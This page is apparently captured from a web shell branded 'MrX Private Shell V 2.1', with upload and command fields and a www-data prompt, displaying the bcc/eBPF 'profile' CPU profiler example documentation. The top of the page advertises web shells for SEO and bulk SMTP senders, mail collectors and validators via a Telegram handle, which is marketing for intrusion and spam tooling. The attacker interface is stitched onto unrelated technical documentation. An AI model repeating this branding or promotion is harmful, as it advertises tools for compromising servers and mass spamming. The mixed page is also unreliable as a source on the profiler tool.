__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.10: ~ $ 
Demonstrations of profile, the Linux eBPF/bcc version.


This is a CPU profiler. It works by taking samples of stack traces at timed
intervals, and frequency counting them in kernel context for efficiency.

Example output:

# ./profile
Sampling at 49 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end.
^C
    filemap_map_pages
    handle_mm_fault
    __do_page_fault
    do_page_fault
    page_fault
    [unknown]
    -                cp (9036)
        1

    [unknown]
    [unknown]
    -                sign-file (8877)
        1

    __clear_user
    iov_iter_zero
    read_iter_zero
    __vfs_read
    vfs_read
    sys_read
    entry_SYSCALL_64_fastpath
    read
    -                dd (25036)
        4

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (13549)
        5

The output was long; I truncated some lines ("[...]").

This default output prints stack traces, followed by a line to describe the
process (a dash, the process name, and a PID in parenthesis), and then an
integer count of how many times this stack trace was sampled.

The func_ab process is running the func_a() function, called by main(),
called by __libc_start_main(), and called by "[unknown]" with what looks
like a bogus address (1st column). That's evidence of a broken stack trace.
It's common for user-level software that hasn't been compiled with frame
pointers (in this case, libc).

The dd process has called read(), and then enters the kernel via
entry_SYSCALL_64_fastpath(), calling sys_read(), and so on. Yes, I'm now
reading it bottom up. That way follows the code flow.


By default, CPU idle stacks are excluded. They can be included with -I:

# ./profile -I

[...]

    native_safe_halt
    default_idle
    arch_cpu_idle
    default_idle_call
    cpu_startup_entry
    rest_init
    start_kernel
    x86_64_start_reservations
    x86_64_start_kernel
    -                swapper/0 (0)
        72

    native_safe_halt
    default_idle
    arch_cpu_idle
    default_idle_call
    cpu_startup_entry
    start_secondary
    -                swapper/1 (0)
        75

The output above shows the most frequent stack was from the "swapper/1"
process (PID 0), running the native_safe_halt() function, which was called
by default_idle(), which was called by arch_cpu_idle(), and so on. This is
the idle thread. Stacks can be read top-down, to follow ancestry: child,
parent, grandparent, etc.


The dd process profiled ealrier is actually "dd if=/dev/zero of=/dev/null":
it's a simple workload to analyze that just moves bytes from /dev/zero to
/dev/null. Profiling just that process:

# ./profile -p 25036
Sampling at 49 Hertz of PID 25036 by user + kernel stack... Hit Ctrl-C to end.
^C
    [unknown]
    [unknown]
    -                dd (25036)
        1

    __write
    -                dd (25036)
        1

    read
    -                dd (25036)
        1

[...]

    [unknown]
    [unknown]
    -                dd (25036)
        2

    entry_SYSCALL_64_fastpath
    __write
    [unknown]
    -                dd (25036)
        3

    entry_SYSCALL_64_fastpath
    read
    -                dd (25036)
        3

    __clear_user
    iov_iter_zero
    read_iter_zero
    __vfs_read
    vfs_read
    sys_read
    entry_SYSCALL_64_fastpath
    read
    [unknown]
    -                dd (25036)
        3

    __clear_user
    iov_iter_zero
    read_iter_zero
    __vfs_read
    vfs_read
    sys_read
    entry_SYSCALL_64_fastpath
    read
    -                dd (25036)
        7

Again, I've truncated some lines. Now we're just analyzing the dd process.
The filter is configured by specifying the target PID (from the current PID
namespace where we are profiling) via the "-p" flag.
Filtering is performed in kernel context, for efficiency, with automatic
PID translation to the top-level namespace (if required).

This output has some "[unknown]" frames that probably have valid addresses,
but we're lacking the symbol translation. This is a common for all profilers
on Linux, and is usually fixable. See the DEBUGGING section of the profile(8)
man page.

You can also profile different process:
# ./profile -p 2040,1316151
Sampling at 49 Hertz of PID [2040, 1316151] by user + kernel stack... Hit Ctrl-C to end.
^C
    PyEval_RestoreThread
    [unknown]
    [unknown]
    -                python3 (1316151)
        1
[...]
    rcu_all_qs
    rcu_all_qs
    dput
    step_into
    handle_dots.part.0
    walk_component
    link_path_walk.part.0
    path_openat
    do_filp_open
    do_sys_openat2
    do_sys_open
    __x64_sys_openat
    do_syscall_64
    entry_SYSCALL_64_after_hwframe
    __libc_open64
    [unknown]
    -                python3 (2040)
        1


Lets add delimiters between the user and kernel stacks, using -d:

# ./profile -p 25036 -d
^C
    __vfs_write
    sys_write
    entry_SYSCALL_64_fastpath
    --
    __write
    -                dd (25036)
        1

    --
    [unknown]
    [unknown]
    -                dd (25036)
        1

    iov_iter_init
    __vfs_read
    vfs_read
    sys_read
    entry_SYSCALL_64_fastpath
    --
    read
    -                dd (25036)
        1

[...]

    __clear_user
    iov_iter_zero
    read_iter_zero
    __vfs_read
    vfs_read
    sys_read
    entry_SYSCALL_64_fastpath
    --
    read
    -                dd (25036)
        9

In this mode, the delimiters are "--".



Here's another example, a func_ab program that runs two functions, func_a() and
func_b(). Profiling it for 5 seconds:

# ./profile -p `pgrep -n func_ab` 5
Sampling at 49 Hertz of PID 2930 by user + kernel stack for 5 secs.

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        2

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        3

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        5

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        12

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        19

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        22

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        64

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        72

Note that the same stack (2nd column) seems to be repeated. Weren't we doing
frequency counting and only printing unique stacks? We are, but in terms of
the raw addresses, not the symbols. See the 1st column: those stacks are
all unique.


We can output in "folded format", which puts the stack trace on one line,
separating frames with semi-colons. Eg:

# ./profile -f -p `pgrep -n func_ab` 5
func_ab;[unknown];__libc_start_main;main;func_a 2
func_ab;[unknown];__libc_start_main;main;func_b 2
func_ab;[unknown];__libc_start_main;main;func_a 11
func_ab;[unknown];__libc_start_main;main;func_b 12
func_ab;[unknown];__libc_start_main;main;func_a 23
func_ab;[unknown];__libc_start_main;main;func_b 28
func_ab;[unknown];__libc_start_main;main;func_b 57
func_ab;[unknown];__libc_start_main;main;func_a 64

I find this pretty useful for writing to files and later grepping.


Folded format can also be used by flame graph stack visualizers, including
the original implementation:

	https://github.com/brendangregg/FlameGraph

I'd include delimiters, -d. For example:

# ./profile -df -p `pgrep -n func_ab` 5 > out.profile
# git clone https://github.com/brendangregg/FlameGraph
# ./FlameGraph/flamegraph.pl < out.profile > out.svg

(Yes, I could pipe profile directly into flamegraph.pl, however, I like to
keep the raw folded profiles around: can be useful for regenerating flamegraphs
with different options, and, for differential flame graphs.)


Some flamegraph.pl palettes recognize kernel annotations, which can be added
with -a. It simply adds a "_[k]" at the end of kernel function names.
For example:

# ./profile -adf -p `pgrep -n dd` 10
dd;[unknown] 1
dd;[unknown];[unknown] 1
dd;[unknown];[unknown] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];__fsnotify_parent_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];__fsnotify_parent_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fdget_pos_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];apparmor_file_permission_[k] 1
dd;[unknown] 1
dd;[unknown];[unknown] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fget_light_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];__fsnotify_parent_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fget_light_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];read_iter_zero_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__fsnotify_parent_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fsnotify_parent_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];fsnotify_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fdget_pos_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fget_light_[k] 1
dd;[unknown] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];__fsnotify_parent_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 1
dd;[unknown];[unknown] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;read 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];security_file_permission_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];fsnotify_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];fsnotify_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];apparmor_file_permission_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];__fsnotify_parent_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];apparmor_file_permission_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];iov_iter_init_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];__fsnotify_parent_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];__vfs_write_[k];write_null_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];__clear_user_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];security_file_permission_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fget_light_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__vfs_read_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];__vfs_write_[k] 1
dd;[unknown] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fsnotify_parent_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown];__write;-;sys_write_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fsnotify_parent_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];common_file_perm_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown];[unknown] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fget_light_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];vfs_read_[k] 1
dd;__write 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];vfs_read_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fget_light_[k] 1
dd;[unknown];[unknown] 1
dd;[unknown] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;[unknown] 1
dd;[unknown] 1
dd;[unknown];[unknown] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;__write 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fget_light_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k] 1
dd;[unknown] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fget_light_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k] 1
dd;[unknown];[unknown] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fdget_pos_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];_cond_resched_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];iov_iter_init_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];__fsnotify_parent_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];rw_verify_area_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];apparmor_file_permission_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 1
dd;[unknown] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];fsnotify_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fdget_pos_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];__vfs_write_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];apparmor_file_permission_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fget_light_[k] 1
dd;[unknown] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];fsnotify_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];fsnotify_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 1
dd;__write;-;entry_SYSCALL_64_fastpath_[k];vfs_write_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 1
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k] 1
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];fsnotify_[k] 1
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];apparmor_file_permission_[k] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];__fdget_pos_[k] 2
dd;[unknown];[unknown] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];__fdget_pos_[k] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k];common_file_perm_[k] 2
dd;[unknown];[unknown] 2
dd;[unknown];[unknown] 2
dd;[unknown];[unknown] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 2
dd;[unknown];[unknown] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];__clear_user_[k] 2
dd;__write;-;entry_SYSCALL_64_fastpath_[k];__fdget_pos_[k] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 2
dd;[unknown];[unknown] 2
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fget_light_[k] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];rw_verify_area_[k];security_file_permission_[k];fsnotify_[k] 2
dd;__write;-;sys_write_[k] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];fsnotify_[k] 2
dd;[unknown];[unknown] 2
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 2
dd;read;-;SyS_read_[k] 2
dd;[unknown] 2
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k] 2
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];__fget_light_[k] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k] 2
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k];rw_verify_area_[k];security_file_permission_[k];apparmor_file_permission_[k] 2
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];__clear_user_[k] 2
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];rw_verify_area_[k] 2
dd;[unknown];[unknown] 3
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];rw_verify_area_[k] 3
dd;[unknown];[unknown] 3
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 3
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 3
dd;[unknown];[unknown] 3
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 3
dd;[unknown];[unknown] 3
dd;[unknown];[unknown] 3
dd;__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 3
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 3
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 3
dd;[unknown] 4
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 4
dd;[unknown];[unknown] 4
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k] 4
dd;[unknown] 4
dd;[unknown];[unknown] 4
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k] 4
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 5
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k];sys_write_[k];vfs_write_[k] 5
dd;[unknown];[unknown] 5
dd;[unknown];[unknown] 5
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k] 6
dd;read 15
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 19
dd;[unknown];__write;-;entry_SYSCALL_64_fastpath_[k] 20
dd;read;-;entry_SYSCALL_64_fastpath_[k] 23
dd;read;-;entry_SYSCALL_64_fastpath_[k];SyS_read_[k];vfs_read_[k];__vfs_read_[k];read_iter_zero_[k];iov_iter_zero_[k];__clear_user_[k] 24
dd;__write;-;entry_SYSCALL_64_fastpath_[k] 25
dd;__write 29
dd;[unknown];read;-;entry_SYSCALL_64_fastpath_[k] 31

This can be made into a flamegraph. Eg:

# ./profile -adf -p `pgrep -n func_ab` 10 > out.profile
# git clone https://github.com/brendangregg/FlameGraph
# ./FlameGraph/flamegraph.pl --color=java < out.profile > out.svg

